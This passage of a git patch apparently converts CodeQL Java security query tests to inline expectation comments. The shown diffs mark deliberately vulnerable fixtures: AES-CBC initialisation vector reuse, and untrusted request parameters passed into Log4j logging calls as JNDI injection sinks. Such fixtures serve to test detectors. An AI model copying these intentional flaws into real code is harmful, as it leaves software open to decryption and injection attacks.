+0200 Subject: [PATCH 052/143] First pass converting qlref tests to inline expectation with postprocess --- .../examples/NonceReuse/NonceReuse.qlref | 4 +- .../quantum/examples/NonceReuse/Test.java | 10 +- .../security/CWE-020/Log4jInjectionTest.qlref | 4 +- .../CWE-020/Log4jJndiInjectionTest.java | 2096 ++++++++--------- .../security/CWE-073/FilePathInjection.java | 18 +- .../security/CWE-073/FilePathInjection.qlref | 4 +- .../CommandInjectionRuntimeExecLocal.qlref | 4 +- .../security/CWE-078/ExecTainted.qlref | 4 +- .../security/CWE-078/JSchOSInjectionTest.java | 8 +- .../security/CWE-078/RuntimeExecTest.java | 12 +- .../main/MyBatisAnnotationSqlInjection.qlref | 4 +- .../main/MyBatisMapperXmlSqlInjection.qlref | 4 +- .../CWE-089/src/main/MybatisSqlInjection.java | 20 +- .../src/main/MybatisSqlInjectionService.java | 20 +- .../security/CWE-094/BeanShellInjection.java | 12 +- .../security/CWE-094/BeanShellInjection.qlref | 4 +- .../security/CWE-094/JShellInjection.java | 14 +- .../security/CWE-094/JShellInjection.qlref | 4 +- .../CWE-094/JakartaExpressionInjection.java | 18 +- .../CWE-094/JakartaExpressionInjection.qlref | 4 +- .../security/CWE-094/JythonInjection.java | 18 +- .../security/CWE-094/JythonInjection.qlref | 4 +- .../security/CWE-094/RhinoServlet.java | 12 +- .../security/CWE-094/ScriptEngineTest.java | 14 +- .../security/CWE-094/ScriptInjection.qlref | 4 +- .../security/CWE-200/FileService.java | 2 +- .../CWE-200/InsecureWebResourceResponse.java | 12 +- .../CWE-200/InsecureWebResourceResponse.qlref | 4 +- .../CWE-200/InsecureWebViewActivity.java | 4 +- .../security/CWE-200/LeakFileActivity.java | 4 +- .../security/CWE-200/LeakFileActivity2.java | 4 +- .../CWE-200/SensitiveAndroidFileLeak.qlref | 4 +- .../NotConstantTimeCheckOnSignature/Test.java | 14 +- .../Test.qlref | 4 +- .../TimingAttackAgainstHeader/Test.java | 2 +- .../TimingAttackAgainstHeader.qlref | 3 +- .../TimingAttackAgainstSignagure/Test.java | 38 +- .../TimingAttackAgainstSignagure/Test.qlref | 4 +- .../JxBrowserWithoutCertValidation.qlref | 3 +- ...JxBrowserWithoutCertValidationV6_23_1.java | 4 +- .../JxBrowserWithoutCertValidation.qlref | 3 +- .../CWE-297/IgnoredHostnameVerification.java | 4 +- .../CWE-297/IgnoredHostnameVerification.qlref | 3 +- .../CWE-297/InsecureLdapEndpoint.java | 10 +- .../CWE-297/InsecureLdapEndpoint.qlref | 3 +- .../CWE-299/DisabledRevocationChecking.java | 4 +- .../CWE-299/DisabledRevocationChecking.qlref | 4 +- .../security/CWE-327/UnsafeTlsVersion.java | 70 +- .../security/CWE-327/UnsafeTlsVersion.qlref | 4 +- .../security/CWE-346/UnvalidatedCors.java | 4 +- .../security/CWE-346/UnvalidatedCors.qlref | 4 +- .../security/CWE-347/Auth0NoVerifier.qlref | 4 +- .../security/CWE-347/JwtNoVerifier.java | 6 +- .../ClientSuppliedIpUsedInSecurityCheck.java | 6 +- .../ClientSuppliedIpUsedInSecurityCheck.qlref | 4 +- .../security/CWE-352/JsonpController.java | 30 +- .../security/CWE-352/JsonpInjection.qlref | 4 +- .../CWE-400/LocalThreadResourceAbuse.qlref | 4 +- .../security/CWE-400/ThreadResourceAbuse.java | 26 +- .../CWE-400/ThreadResourceAbuse.qlref | 4 +- .../security/CWE-400/UploadListener.java | 2 +- .../security/CWE-470/BadClassLoader.java | 6 +- .../CWE-470/LoadClassNoSignatureCheck.qlref | 4 +- .../security/CWE-470/UnsafeReflection.java | 12 +- .../security/CWE-470/UnsafeReflection.qlref | 4 +- .../security/CWE-489/ServiceBean.java | 2 +- .../security/CWE-489/ServiceBean.qlref | 3 +- .../CWE-489/ServletContextListenerMain.java | 2 +- .../security/CWE-489/ServletMain.java | 2 +- .../security/CWE-489/ServletMain.qlref | 3 +- .../SpringExporterUnsafeDeserialization.java | 12 +- .../CWE-502/UnsafeDeserializationRmi.java | 10 +- .../CWE-502/UnsafeDeserializationRmi.qlref | 4 +- ...feSpringExporterInConfigurationClass.qlref | 3 +- ...safeSpringExporterInXMLConfiguration.qlref | 3 +- .../query-tests/security/CWE-502/beans.xml | 8 +- .../CWE-548/InsecureDirectoryConfig.qlref | 3 +- .../security/CWE-548/insecure-web.xml | 4 +- .../CWE-555/PasswordInConfigurationFile.qlref | 3 +- .../security/CWE-555/applicationContext.xml | 2 +- .../query-tests/security/CWE-555/context.xml | 4 +- .../security/CWE-555/custom-config.xml | 2 +- .../security/CWE-598/SensitiveGetQuery.java | 6 +- .../security/CWE-598/SensitiveGetQuery.qlref | 4 +- .../security/CWE-598/SensitiveGetQuery2.java | 6 +- .../security/CWE-598/SensitiveGetQuery3.java | 4 +- .../security/CWE-598/SensitiveGetQuery4.java | 4 +- .../CWE-600/UncaughtServletException.java | 16 +- .../CWE-600/UncaughtServletException.qlref | 4 +- .../security/CWE-601/SpringUrlRedirect.java | 56 +- .../security/CWE-601/SpringUrlRedirect.qlref | 4 +- .../security/CWE-625/DotRegexFilter.java | 6 +- .../security/CWE-625/DotRegexServlet.java | 16 +- .../security/CWE-625/DotRegexSpring.java | 8 +- .../security/CWE-625/PermissiveDotRegex.qlref | 4 +- .../security/CWE-652/XQueryInjection.java | 40 +- .../security/CWE-652/XQueryInjection.qlref | 4 +- ...nsecureRmiJmxEnvironmentConfiguration.java | 8 +- ...secureRmiJmxEnvironmentConfiguration.qlref | 3 +- .../security/CWE-755/NFEAndroidDoS.java | 20 +- .../security/CWE-755/NFEAndroidDoS.qlref | 4 +- .../security/CWE-759/HashWithoutSalt.java | 12 +- .../security/CWE-759/HashWithoutSalt.qlref | 4 +- .../frameworks/JaxWs/UrlRedirect.qlref | 4 +- .../frameworks/JaxWs/UrlRedirectJakarta.java | 4 +- .../frameworks/JaxWs/UrlRedirectJax.java | 4 +- .../AmbiguousOuterSuper.qlref | 3 +- .../AmbiguousOuterSuper/GenericTest.java | 2 +- .../query-tests/AmbiguousOuterSuper/Test.java | 2 +- .../query-tests/AutoBoxing/AutoBoxing.qlref | 3 +- java/ql/test/query-tests/AutoBoxing/Test.java | 22 +- .../AvoidDeprecatedCallableAccess.qlref | 3 +- .../AvoidDeprecatedCallableAccess/Test.java | 6 +- .../BadAbsOfRandom/BadAbsOfRandom.qlref | 3 +- .../test/query-tests/BadAbsOfRandom/Test.java | 12 +- .../query-tests/BadCheckOdd/BadCheckOdd.java | 20 +- .../query-tests/BadCheckOdd/BadCheckOdd.qlref | 3 +- .../BoxedVariable/BoxedVariable.java | 10 +- .../BoxedVariable/BoxedVariable.qlref | 3 +- .../test/query-tests/BusyWait/BusyWait.qlref | 3 +- .../test/query-tests/BusyWait/BusyWaits.java | 6 +- .../CloseReader/CloseReader.java | 8 +- .../CloseReader/CloseReader.qlref | 3 +- .../CloseWriter/CloseWriter.java | 6 +- .../CloseWriter/CloseWriter.qlref | 3 +- .../query-tests/CompareIdenticalValues/A.java | 36 +- .../CompareIdenticalValues.qlref | 3 +- .../ComplexCondition/ComplexCondition.java | 8 +- .../ComplexCondition/ComplexCondition.qlref | 3 +- .../ConfusingOverloading.qlref | 3 +- .../TestConfusingOverloading.java | 2 +- .../ConstantExpAppearsNonConstant.qlref | 3 +- .../ConstantExpAppearsNonConstant/Test.java | 22 +- .../query-tests/ConstantLoopCondition/A.java | 8 +- .../ConstantLoopCondition.qlref | 3 +- .../ContainerSizeCmpZero.qlref | 3 +- .../ContainerSizeCmpZero/Main.java | 36 +- .../query-tests/ContinueInFalseLoop/A.java | 6 +- .../ContinueInFalseLoop.qlref | 3 +- .../ContradictoryTypeChecks.qlref | 3 +- .../ContradictoryTypeChecks/Test.java | 12 +- .../DeadCode/DeadRefTypes/DeadRefTypes.qlref | 3 +- .../DeadCode/DeadRefTypes/UnusedClass.java | 2 +- .../NonAssignedFields/NonAssignedFields.qlref | 3 +- .../DeadCode/camel/DeadClass.qlref | 3 +- .../DeadCode/camel/DeadMethod.qlref | 3 +- .../camel/com/semmle/camel/DeadTarget.java | 4 +- .../camel/javadsl/CustomRouteBuilder.java | 2 +- .../Declarations/BreakInSwitchCase.qlref | 3 +- .../test/query-tests/Declarations/Test.java | 4 +- .../DefineEqualsWhenAddingFields.qlref | 4 +- .../query-tests/DoubleCheckedLocking/A.java | 16 +- .../DoubleCheckedLocking.qlref | 3 +- .../DoubleCheckedLockingWithInitRace.qlref | 3 +- .../query-tests/EqualsArray/EqualsArray.qlref | 3 +- .../ql/test/query-tests/EqualsArray/Test.java | 6 +- .../EqualsUsesInstanceOf.qlref | 3 +- .../ExposeRepresentation.qlref | 3 +- .../ExposeRepresentation/ExposesRep.java | 10 +- java/ql/test/query-tests/Finally/Finally.java | 14 +- .../Finally/FinallyMayNotComplete.qlref | 3 +- .../HashedButNoHash/HashedButNoHash.qlref | 3 +- .../query-tests/HashedButNoHash/Test.java | 2 +- .../IgnoreExceptionalReturn.qlref | 3 +- .../IgnoreExceptionalReturn/Test.java | 12 +- .../ImpossibleCast/ImpossibleCast.qlref | 3 +- .../ImpossibleCast/impossible_cast/A.java | 4 +- .../InconsistentEqualsHashCode.qlref | 3 +- .../InconsistentEqualsHashCode/Test.java | 6 +- .../InconsistentCallOnResult.qlref | 3 +- .../InconsistentOperations/Operations.java | 4 +- .../ReturnValueIgnored.qlref | 3 +- .../InconsistentOperations/Test2.java | 4 +- .../InconsistentOperations/Test3.java | 4 +- .../InefficientOutputStream.qlref | 3 +- .../InefficientOutputStreamBad.java | 2 +- .../InnerClassCouldBeStatic/Classes.java | 42 +- .../InnerClassCouldBeStatic.qlref | 3 +- .../InnerClassCouldBeStatic/Test.java | 2 +- .../Iterable/IterableIterator.qlref | 3 +- java/ql/test/query-tests/Iterable/Test.java | 6 +- .../Iterable/WrappedIterator.qlref | 3 +- .../IteratorRemoveMayFail.qlref | 3 +- .../IteratorRemoveMayFail/Test.java | 6 +- .../Javadoc/ImpossibleJavadocThrows.java | 6 +- .../Javadoc/ImpossibleJavadocThrows.qlref | 3 +- .../LShiftLargerThanTypeWidth/A.java | 44 +- .../LShiftLargerThanTypeWidth.qlref | 3 +- .../LazyInitStaticField.qlref | 3 +- .../LazyInitStaticField/LazyInits.java | 14 +- .../MissingEnumInSwitch.qlref | 3 +- .../Statements/MissingEnumInSwitch/Test.java | 20 +- .../MissedTernaryOpportunity.qlref | 3 +- .../MissedTernaryOpportunityTest.java | 12 +- .../MissingCallToSuperClone.qlref | 3 +- .../MissingCallToSuperClone/Test.java | 2 +- .../MissingInstanceofInEquals/Bad.java | 4 +- .../MissingInstanceofInEquals.qlref | 3 +- .../MissingOverrideAnnotation.qlref | 3 +- .../MissingOverrideAnnotation/Test.java | 4 +- .../test/query-tests/MissingSpaceTypo/A.java | 28 +- .../MissingSpaceTypo/MissingSpaceTypo.qlref | 3 +- ...issingVoidConstructorsOnSerializable.qlref | 3 +- .../Test.java | 2 +- .../MutualDependency/MutualDependency.qlref | 3 +- .../onepackage/MutualDependency.java | 2 +- .../Naming/ConfusingOverloading.qlref | 3 +- .../test/query-tests/Naming/NamingTest.java | 2 +- .../NonPrivateField/NonPrivateField.qlref | 3 +- .../NonPrivateField/NonPrivateFieldTest.java | 16 +- .../NonSerializableField.qlref | 3 +- .../NonSerializableFieldTest.java | 32 +- .../NonSerializableInnerClass.qlref | 3 +- .../NonSerializableInnerClassTest.java | 10 +- .../NonSynchronizedOverride.qlref | 3 +- .../NonSynchronizedOverride/Test.java | 10 +- .../NotifyWithoutSynch.qlref | 3 +- .../query-tests/NotifyWithoutSynch/Test.java | 20 +- java/ql/test/query-tests/Nullness/A.java | 42 +- java/ql/test/query-tests/Nullness/B.java | 50 +- java/ql/test/query-tests/Nullness/C.java | 14 +- .../test/query-tests/Nullness/ExprDeref.java | 2 +- java/ql/test/query-tests/Nullness/F.java | 4 +- java/ql/test/query-tests/Nullness/G.java | 2 +- .../query-tests/Nullness/NullAlways.qlref | 3 +- .../query-tests/Nullness/NullExprDeref.qlref | 3 +- .../test/query-tests/Nullness/NullMaybe.qlref | 3 +- .../NumberFormatException.qlref | 3 +- .../NumberFormatException/Test.java | 60 +- .../PartiallyMaskedCatch.qlref | 3 +- .../PartiallyMaskedCatchTest.java | 6 +- .../PointlessForwardingMethod.qlref | 3 +- .../pointlessforwardingmethod/Test.java | 2 +- .../query-tests/PrintLnArray/PrintLn.qlref | 3 +- .../test/query-tests/PrintLnArray/Test.java | 4 +- .../RandomUsedOnce/RandomUsedOnce.qlref | 3 +- .../test/query-tests/RandomUsedOnce/Test.java | 2 +- java/ql/test/query-tests/RangeAnalysis/A.java | 34 +- .../RangeAnalysis/ArrayIndexOutOfBounds.qlref | 3 +- .../ReadOnlyContainer/ReadOnlyContainer.qlref | 3 +- .../query-tests/ReadOnlyContainer/Test.java | 6 +- .../ReturnValueIgnored.qlref | 3 +- .../return_value_ignored/Test.java | 4 +- .../SelfAssignment/SelfAssignment.qlref | 3 +- .../test/query-tests/SelfAssignment/Test.java | 4 +- .../SimplifyBoolExpr/SimplifyBoolExpr.java | 18 +- .../SimplifyBoolExpr/SimplifyBoolExpr.qlref | 3 +- .../SpuriousJavadocParam/Test.java | 34 +- .../SpuriousJavadocParam/test.qlref | 3 +- .../StartInConstructor.qlref | 3 +- .../query-tests/StartInConstructor/Test.java | 2 +- .../query-tests/StaticArray/StaticArray.java | 10 +- .../query-tests/StaticArray/StaticArray.qlref | 3 +- .../StringComparison/StringComparison.java | 6 +- .../StringComparison/StringComparison.qlref | 3 +- java/ql/test/query-tests/StringFormat/A.java | 64 +- .../StringFormat/MissingFormatArg.qlref | 3 +- .../StringFormat/UnusedFormatArg.qlref | 3 +- .../query-tests/SuspiciousDateFormat/A.java | 2 +- .../SuspiciousDateFormat.qlref | 3 +- .../SynchSetUnsynchSet.qlref | 3 +- .../query-tests/SynchSetUnsynchGet/Test.java | 4 +- .../TypeMismatch/IncomparableEquals.qlref | 3 +- .../TypeMismatch/RemoveTypeMismatch.qlref | 3 +- .../TypeMismatch/incomparable_equals/B.java | 2 +- .../TypeMismatch/incomparable_equals/F.java | 4 +- .../TypeMismatch/remove_type_mismatch/A.java | 12 +- java/ql/test/query-tests/UnreadLocal/A.java | 12 +- .../UnreadLocal/DeadStoreOfLocal.qlref | 3 +- .../UnreadLocal/DeadStoreOfLocalUnread.qlref | 3 +- .../query-tests/UnreadLocal/UnreadLocal.qlref | 3 +- .../UnreadLocal/ImplicitReads.java | 2 +- .../UnreadLocal/UnreadLocal/UnreadLocals.java | 4 +- .../UnreleasedLock/UnreleasedLock.java | 12 +- .../UnreleasedLock/UnreleasedLock.qlref | 3 +- .../test/query-tests/UseBraces/UseBraces.java | 28 +- .../query-tests/UseBraces/UseBraces.qlref | 3 +- .../query-tests/UselessComparisonTest/A.java | 30 +- .../UselessComparisonTest/CharLiterals.java | 8 +- .../UselessComparisonTest/Test.java | 16 +- .../UselessComparisonTest.qlref | 3 +- .../test/query-tests/UselessNullCheck/A.java | 16 +- .../UselessNullCheck/UselessNullCheck.qlref | 3 +- .../test/query-tests/UselessUpcast/Test.java | 6 +- .../test/query-tests/UselessUpcast/Test2.java | 4 +- .../UselessUpcast/UselessUpcast.qlref | 3 +- .../WhitespaceContradictsPrecedence.java | 4 +- .../WhitespaceContradictsPrecedence.qlref | 3 +- .../WriteOnlyContainer/CollectionTest.java | 4 +- .../WriteOnlyContainer/MapTest.java | 4 +- .../WriteOnlyContainer.qlref | 3 +- .../query-tests/WrongNanComparison/Test.java | 4 +- .../WrongNanComparison.qlref | 3 +- .../dead-code/DeadCallable/DeadCallable.qlref | 3 +- .../dead-code/DeadCallable/Main.java | 10 +- .../dead-code/DeadClass/DeadClass.qlref | 3 +- .../dead-code/DeadClass/DeadEnumTest.java | 2 +- .../DeadClass/ExternalDeadCodeCycle.java | 2 +- .../dead-code/DeadClass/ExternalDeadRoot.java | 2 +- .../DeadClass/InternalDeadCodeCycle.java | 2 +- .../dead-code/DeadClass/NamespaceTest.java | 2 +- .../DeadEnumConstant/DeadEnumConstant.qlref | 3 +- .../DeadEnumConstantTest.java | 4 +- .../DeadField/AnnotationValueTest.java | 2 +- .../DeadField/AnnotationValueUtil.java | 6 +- .../dead-code/DeadField/BasicTest.java | 6 +- .../dead-code/DeadField/DeadField.qlref | 3 +- .../dead-code/DeadField/ReflectionTest.java | 4 +- .../dead-code/DeadMethod/DeadMethod.qlref | 3 +- .../DeadMethod/InternalDeadCodeCycle.java | 4 +- .../dead-code/DeadMethod/JMXTest.java | 2 +- .../DeadMethod/SuppressedConstructorTest.java | 6 +- .../dead-code/UselessParameter/Test.java | 2 +- .../UselessParameter/UselessParameter.qlref | 3 +- .../UnusedMavenDependencyBinary.qlref | 3 +- .../UnusedMavenDependencySource.qlref | 3 +- .../maven-dependencies/my-project/pom.xml | 8 +- .../CWE-020/OverlyLargeRangeQuery.qlref | 3 +- .../CWE-020/SuspiciousRegexpRange.java | 20 +- .../CWE-022/semmle/tests/ZipSlip.qlref | 4 +- .../CWE-022/semmle/tests/ZipTest.java | 8 +- .../security/CWE-078/ExecRelative.qlref | 3 +- .../security/CWE-078/ExecTainted.qlref | 4 +- .../security/CWE-078/ExecUnescaped.qlref | 3 +- .../security/CWE-078/TaintedEnvironment.java | 2 +- .../query-tests/security/CWE-078/Test.java | 14 +- .../semmle/tests/SetJavascriptEnabled.java | 2 +- .../tests/WebViewAddJavascriptInterface.java | 2 +- .../tests/WebViewAddJavascriptInterface.qlref | 3 +- .../tests/WebViewSetEnabledJavaScript.qlref | 3 +- .../AllowListSanitizerWithJavaUtilList.java | 54 +- .../AllowListSanitizerWithJavaUtilSet.java | 54 +- .../CWE-089/semmle/examples/CouchBase.java | 14 +- .../CWE-089/semmle/examples/Mongo.java | 8 +- .../semmle/examples/SqlConcatenated.qlref | 3 +- .../CWE-089/semmle/examples/SqlTainted.qlref | 4 +- .../CWE-089/semmle/examples/Test.java | 24 +- .../security/CWE-090/LdapInjection.java | 164 +- .../security/CWE-090/LdapInjection.qlref | 4 +- .../CWE-094/InsecureBeanValidation.java | 4 +- .../CWE-094/InsecureBeanValidation.qlref | 4 +- .../tests/MavenPomDependsOnBintray.qlref | 3 +- .../CWE-1104/semmle/tests/bad-bintray-pom.xml | 10 +- .../semmle/tests/ResponseSplitting.java | 12 +- .../semmle/tests/ResponseSplitting.qlref | 4 +- ...mproperValidationOfArrayConstruction.qlref | 4 +- ...tionOfArrayConstructionCodeSpecified.qlref | 4 +- .../ImproperValidationOfArrayIndex.qlref | 4 +- ...rValidationOfArrayIndexCodeSpecified.qlref | 4 +- .../security/CWE-129/semmle/tests/Test.java | 28 +- .../ExternallyControlledFormatString.qlref | 4 +- .../security/CWE-134/semmle/tests/Test.java | 16 +- .../semmle/tests/ArithmeticTainted.java | 20 +- .../semmle/tests/ArithmeticTainted.qlref | 4 +- .../semmle/tests/ArithmeticUncontrolled.qlref | 4 +- .../tests/ArithmeticWithExtremeValues.qlref | 4 +- .../semmle/tests/ComparisonWithWiderType.java | 6 +- .../tests/ComparisonWithWiderType.qlref | 3 +- .../semmle/tests/InformationLoss.qlref | 3 +- .../CWE-190/semmle/tests/IntMultToLong.qlref | 3 +- .../security/CWE-190/semmle/tests/Test.java | 54 +- .../Files.java | 4 +- .../TempDirLocalInformationDisclosure.qlref | 4 +- .../Test.java | 78 +- .../WebViewAccess/WebViewContentAccess.java | 20 +- .../WebViewAccess/WebViewContentAccess.qlref | 3 +- .../WebViewAccess/WebViewFileAccess.java | 6 +- .../WebViewAccess/WebViewFileAccess.qlref | 3 +- ...itiveDataExposureThroughErrorMessage.qlref | 3 +- .../semmle/tests/StackTraceExposure.qlref | 3 +- .../security/CWE-209/semmle/tests/Test.java | 8 +- .../CWE-297/UnsafeHostnameVerification.java | 22 +- .../CWE-297/UnsafeHostnameVerification.qlref | 4 +- .../security/CWE-311/CWE-319/HttpsUrls.qlref | 4 +- .../CWE-311/CWE-319/HttpsUrlsTest.java | 18 +- .../security/CWE-311/CWE-319/UseSSL.qlref | 3 +- .../security/CWE-311/CWE-319/UseSSLTest.java | 2 +- .../CWE-614/semmle/tests/InsecureCookie.qlref | 3 +- .../CWE-311/CWE-614/semmle/tests/Test.java | 8 +- .../backup/AllowBackupEnabledTest.qlref | 3 +- .../TestExplicitlyEnabled/AndroidManifest.xml | 2 +- .../backup/TestMissing/AndroidManifest.xml | 2 +- .../semmle/tests/BrokenCryptoAlgorithm.qlref | 4 +- .../tests/MaybeBrokenCryptoAlgorithm.qlref | 3 +- .../security/CWE-327/semmle/tests/Test.java | 6 +- .../CWE-327/semmle/tests/WeakHashing.java | 6 +- .../semmle/tests/PredictableSeed.qlref | 3 +- .../security/CWE-335/semmle/tests/Test.java | 6 +- .../semmle/tests/JHipsterGeneratedPRNG.qlref | 3 +- .../semmle/tests/vulnerable/RandomUtil.java | 10 +- .../CWE-421/semmle/SocketAuthRace.qlref | 3 +- .../security/CWE-421/semmle/Test.java | 6 +- .../CWE-601/semmle/tests/UrlRedirect.java | 8 +- .../CWE-601/semmle/tests/UrlRedirect.qlref | 4 +- .../CWE-601/semmle/tests/UrlRedirect2.java | 2 +- .../CWE-601/semmle/tests/mad/Test.java | 4 +- .../tests/PotentiallyDangerousFunction.qlref | 3 +- .../security/CWE-676/semmle/tests/Test.java | 2 +- .../semmle/tests/NumericCastTainted.qlref | 4 +- .../security/CWE-681/semmle/tests/Test.java | 6 +- .../tests/ReadingFromWorldWritableFile.qlref | 3 +- .../security/CWE-732/semmle/tests/Test.java | 6 +- .../tests/TaintedPermissionsCheck.qlref | 4 +- .../tests/TaintedPermissionsCheckTest.java | 4 +- .../tests/InsecureDependencyResolution.qlref | 3 +- .../CWE-829/semmle/tests/insecure-pom.xml | 10 +- .../semmle/tests/LockOrderInconsistency.qlref | 3 +- .../semmle/tests/MethodAccessLockOrder.java | 2 +- .../semmle/tests/ReentrantLockOrder.java | 4 +- .../tests/SynchronizedStmtLockOrder.java | 4 +- .../CWE-835/semmle/tests/InfiniteLoop.java | 2 +- .../CWE-835/semmle/tests/InfiniteLoop.qlref | 3 +- .../org/apache/camel/Consume.java | 8 +- .../camel/builder/ExpressionClause.java | 2 +- .../apache/camel/builder/RouteBuilder.java | 4 +- .../camel/impl/DefaultCamelContext.java | 2 +- .../apache/camel/model/FilterDefinition.java | 2 +- .../apache/camel/model/OutputDefinition.java | 2 +- .../camel/model/ProcessorDefinition.java | 2 +- .../apache/camel/model/RouteDefinition.java | 2 +- 420 files changed, 2846 insertions(+), 2598 deletions(-) diff --git a/java/ql/test/experimental/query-tests/quantum/examples/NonceReuse/NonceReuse.qlref b/java/ql/test/experimental/query-tests/quantum/examples/NonceReuse/NonceReuse.qlref index 9658a376bb9..b3c88b353dd 100644 --- a/java/ql/test/experimental/query-tests/quantum/examples/NonceReuse/NonceReuse.qlref +++ b/java/ql/test/experimental/query-tests/quantum/examples/NonceReuse/NonceReuse.qlref @@ -1,2 +1,4 @@ query: experimental/quantum/Examples/ReusedNonce.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/quantum/examples/NonceReuse/Test.java b/java/ql/test/experimental/query-tests/quantum/examples/NonceReuse/Test.java index e384143db08..80524e269e7 100644 --- a/java/ql/test/experimental/query-tests/quantum/examples/NonceReuse/Test.java +++ b/java/ql/test/experimental/query-tests/quantum/examples/NonceReuse/Test.java @@ -16,7 +16,7 @@ public class Test { private static byte[] getRandomWrapper1() throws Exception { byte[] val = new byte[16]; - new SecureRandom().nextBytes(val); + new SecureRandom().nextBytes(val); // $ Source return val; } @@ -37,7 +37,7 @@ public class Test { IvParameterSpec ivSpec = new IvParameterSpec(iv); Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); SecretKey key = generateAESKey(); - cipher.init(Cipher.ENCRYPT_MODE, key, ivSpec); // BAD: Reuse of `iv` in funcB1 + cipher.init(Cipher.ENCRYPT_MODE, key, ivSpec); // $ Alert // BAD: Reuse of `iv` in funcB1 byte[] ciphertext = cipher.doFinal("Simple Test Data".getBytes()); } @@ -46,7 +46,7 @@ public class Test { IvParameterSpec ivSpec = new IvParameterSpec(iv); Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); SecretKey key = generateAESKey(); - cipher.init(Cipher.ENCRYPT_MODE, key, ivSpec); // BAD: Reuse of `iv` in funcA1 + cipher.init(Cipher.ENCRYPT_MODE, key, ivSpec); // $ Alert // BAD: Reuse of `iv` in funcA1 byte[] ciphertext = cipher.doFinal("Simple Test Data".getBytes()); } @@ -73,13 +73,13 @@ public class Test { IvParameterSpec ivSpec1 = new IvParameterSpec(iv); Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); SecretKey key1 = generateAESKey(); - cipher.init(Cipher.ENCRYPT_MODE, key1, ivSpec1); // BAD: reuse of `iv` below + cipher.init(Cipher.ENCRYPT_MODE, key1, ivSpec1); // $ Alert // BAD: reuse of `iv` below byte[] ciphertext = cipher.doFinal("Simple Test Data".getBytes()); IvParameterSpec ivSpec2 = new IvParameterSpec(iv); Cipher cipher2 = Cipher.getInstance("AES/CBC/PKCS5Padding"); SecretKey key2 = generateAESKey(); - cipher2.init(Cipher.ENCRYPT_MODE, key2, ivSpec2); // BAD: Reuse of `iv` above + cipher2.init(Cipher.ENCRYPT_MODE, key2, ivSpec2); // $ Alert // BAD: Reuse of `iv` above byte[] ciphertext2 = cipher2.doFinal("Simple Test Data".getBytes()); } diff --git a/java/ql/test/experimental/query-tests/security/CWE-020/Log4jInjectionTest.qlref b/java/ql/test/experimental/query-tests/security/CWE-020/Log4jInjectionTest.qlref index ea158af1e3a..3b0cb0955c9 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-020/Log4jInjectionTest.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-020/Log4jInjectionTest.qlref @@ -1,2 +1,4 @@ query: experimental/Security/CWE/CWE-020/Log4jJndiInjection.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-020/Log4jJndiInjectionTest.java b/java/ql/test/experimental/query-tests/security/CWE-020/Log4jJndiInjectionTest.java index c180fdc40f1..25f43bf4e69 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-020/Log4jJndiInjectionTest.java +++ b/java/ql/test/experimental/query-tests/security/CWE-020/Log4jJndiInjectionTest.java @@ -21,985 +21,985 @@ public class Log4jJndiInjectionTest { private HttpServletRequest request; public Object source() { - return request.getParameter("source"); + return request.getParameter("source"); // $ Source } public void test() { Logger logger = null; { // @formatter:off - logger.debug((CharSequence) source()); - logger.debug((CharSequence) source(), (Throwable) null); - logger.debug((Marker) null, (CharSequence) source()); - logger.debug((Marker) null, (CharSequence) source(), null); - logger.debug((Marker) null, (Message) source()); - logger.debug((Marker) null, (MessageSupplier) source()); - logger.debug((Marker) null, (MessageSupplier) source(), null); - logger.debug((Marker) null, source()); - logger.debug((Marker) null, (String) source()); - logger.debug((Marker) null, (String) source(), new Object[] {}); - logger.debug((Marker) null, (String) null, new Object[] {source()}); - logger.debug((Marker) null, (String) null, (Object) source()); - logger.debug((Marker) null, (String) source(), (Object) null); - logger.debug((Marker) null, (String) null, (Object) null, (Object) source()); - logger.debug((Marker) null, (String) null, (Object) source(), (Object) null); - logger.debug((Marker) null, (String) source(), (Object) null, (Object) null); - logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) source()); - logger.debug((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null); - logger.debug((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null); - logger.debug((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null); - logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.debug((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.debug((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.debug((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.debug((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.debug((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.debug((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, 